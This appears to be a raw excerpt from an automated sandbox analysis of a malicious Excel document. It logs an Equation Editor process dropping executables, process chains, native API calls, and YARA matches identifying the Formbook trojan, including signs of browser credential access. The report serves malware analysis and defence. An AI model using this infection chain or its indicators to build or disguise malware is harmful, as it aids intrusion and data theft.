          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exeJump to dropped file
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\Public\vbc.exeJump to dropped file
          Source: C:\Users\Public\vbc.exeCode function: 5_2_00406D5F
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_00410331
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_002608B7
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_00260A3B
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0040C043
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00405873
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00401824
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00401830
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0040C03E
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_004038F3
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00422A4C
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00401BD0
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00405653
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00420753
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0094E0C6
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0097D005
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0096905A
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00953040
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009CD06D
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0094E2E9
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009F1238
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009F63BF
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009763DB
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0094F3CF
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00952305
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00957353
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0099A37B
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00985485
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00961489
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009D443E
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0098D47D
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0096C5F0
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009D05E3
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0095351F
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00996540
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00954680
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0095E6C1
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0099A634
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009F2622
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009D579A
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0095C7BC
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009857C3
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009CF8C4
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009EF8EE
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0095C85C
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0097286D
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009F098E
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009529B2
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009669FE
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009D5955
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009D394B
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00A03A83
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009FCBA4
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009DDBDA
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009D6BCB
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00977B00
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009EFDDD
          Source: ~DF2613BCA6826298A5.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: ~DFF43C2C98E1EF8FBE.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: ~DFCD0A74EBC3B8D0D3.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: ~DF105CE6962F655752.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: ~DFAEEDEE6F10B6AFDD.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: ~DFF3DB96A6682A15C6.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: ~DF4DCF212DAF54DAAA.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: 87F4.tmp.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: ~DF3759C9448D2ED5D7.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mozglue.dll
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winsqlite3.dll
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winsqlite3.dll
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winsqlite3.dll
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winsqlite3.dll
          Source: sqlite3.dll.16.drStatic PE information: Number of sections : 18 > 10
          Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\sqlite3.dll C1DE8ECA6419634C5F6E0E8C6EF14D9B3DAA28FA28E8D1C4CE0175DBC310A77F
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 77620000 page execute and read and write
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 77740000 page execute and read and write
          Source: C:\Users\Public\vbc.exeMemory allocated: 77620000 page execute and read and write
          Source: C:\Users\Public\vbc.exeMemory allocated: 77740000 page execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeMemory allocated: 77620000 page execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeMemory allocated: 77740000 page execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeMemory allocated: 77620000 page execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeMemory allocated: 77740000 page execute and read and write
          Source: C:\Windows\SysWOW64\wscript.exeMemory allocated: 77620000 page execute and read and write
          Source: C:\Windows\SysWOW64\wscript.exeMemory allocated: 77740000 page execute and read and write
          Source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: C:\Users\Public\vbc.exeCode function: 5_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: String function: 00993F92 appears 109 times
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: String function: 0099373B appears 211 times
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: String function: 009BF970 appears 78 times
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: String function: 00401980 appears 42 times
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: String function: 0094E2A8 appears 34 times
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: String function: 0094DF5C appears 104 times
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0041E833 NtAllocateVirtualMemory,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0041E653 NtCreateFile,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0041E703 NtReadFile,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0041E783 NtClose,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009400C4 NtCreateFile,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00940048 NtProtectVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00940078 NtResumeThread,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009407AC NtCreateMutant,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093F9F0 NtClose,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093F900 NtReadFile,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FAE8 NtQueryInformationProcess,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FBB8 NtQueryInformationToken,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FB68 NtFreeVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FC90 NtUnmapViewOfSection,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FC60 NtMapViewOfSection,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FD8C NtDelayExecution,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FDC0 NtQuerySystemInformation,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FEA0 NtReadVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FFB4 NtCreateSection,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009410D0 NtOpenProcessToken,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00940060 NtQuerySection,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_009401D4 NtSetValueKey,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0094010C NtOpenDirectoryObject,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00941148 NtOpenThread,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093F8CC NtWaitForSingleObject,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00941930 NtSetContextThread,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093F938 NtWriteFile,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FAB8 NtQueryValueKey,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FA20 NtQueryInformationFile,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FA50 NtEnumerateValueKey,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FBE8 NtQueryVirtualMemory,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FB50 NtCreateKey,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FC30 NtOpenProcess,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00940C40 NtGetContextThread,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0093FC48 NtSetInformationFile,
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00941D80 NtSuspendThread,
          Source: C:\Windows\SysWOW64\wscript.exeRegistry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory
          Source: d0#U10dc.xlsOLE indicator, VBA macros: true
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DATJump to behavior
          Source: classification engineClassification label: mal100.rans.troj.spyw.expl.evad.winXLS@27/74@6/6
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
          Source: d0#U10dc.xlsOLE indicator, Workbook stream: true
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: .VBPud<_
          Source: d0#U10dc.xlsReversingLabs: Detection: 30%
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
          Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
          Source: unknownProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
          Source: C:\Users\Public\vbc.exeProcess created: C:\Users\user\AppData\Local\Temp\mcwfy.exe "C:\Users\user\AppData\Local\Temp\mcwfy.exe" C:\Users\user\AppData\Local\Temp\ytljtt.f
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess created: C:\Users\user\AppData\Local\Temp\mcwfy.exe C:\Users\user\AppData\Local\Temp\mcwfy.exe
          Source: unknownProcess created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
          Source: C:\Users\Public\vbc.exeProcess created: C:\Users\user\AppData\Local\Temp\mcwfy.exe "C:\Users\user\AppData\Local\Temp\mcwfy.exe" C:\Users\user\AppData\Local\Temp\ytljtt.f
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess created: C:\Users\user\AppData\Local\Temp\mcwfy.exe C:\Users\user\AppData\Local\Temp\mcwfy.exe
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess created: unknown unknown
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe
          Source: C:\Users\Public\vbc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32
